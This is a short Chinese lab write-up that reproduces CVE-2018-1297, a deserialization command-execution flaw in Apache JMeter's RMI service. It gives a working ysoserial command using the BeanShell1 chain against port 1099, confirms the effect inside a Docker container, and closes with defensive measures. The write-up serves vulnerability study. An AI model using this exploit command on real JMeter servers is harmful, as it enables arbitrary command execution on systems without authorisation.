JMeter RMI 反序列化命令执行漏洞 (CVE-2018-1297)
Apache JMeter 是美国 Apache 软件基金会使用 Java 语言编写的一套开源软件,用于压力测试和性能测试。
2.x 和 3.x 版本存在反序列化漏洞,攻击者可利用该漏洞在目标服务器上执行任意命令。
搭建漏洞环境:
我使用了 Kali Linux 上的 docker。
执行完成后,RMI 服务启动并监听 1099 端口。
漏洞利用:
直接使用 ysoserial 进行漏洞利用。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success'
输入如上命令。
使用了名为 BeanShell1 的利用链。
docker compose exec jmeter bash
进入容器后,可看到 /tmp/success 已成功创建。

总结
该漏洞利用了基于 Java 的应用程序中可能出现的 RMI(远程方法调用)漏洞。
这里使用的 `ysoserial-0.0.6-SNAPSHOT-all.jar` 是 ysoserial 项目的一部分,用于利用 Java 反序列化漏洞生成可执行远程代码的有效载荷。
该有效载荷的目的是执行诸如 `touch /tmp/success` 之类的命令。攻击者可利用此漏洞在远程系统上执行任意命令或修改系统文件。
防范该漏洞的措施包括限制对 RMI 服务的访问、实施严格的权限控制以及 Java 反序列化过滤等。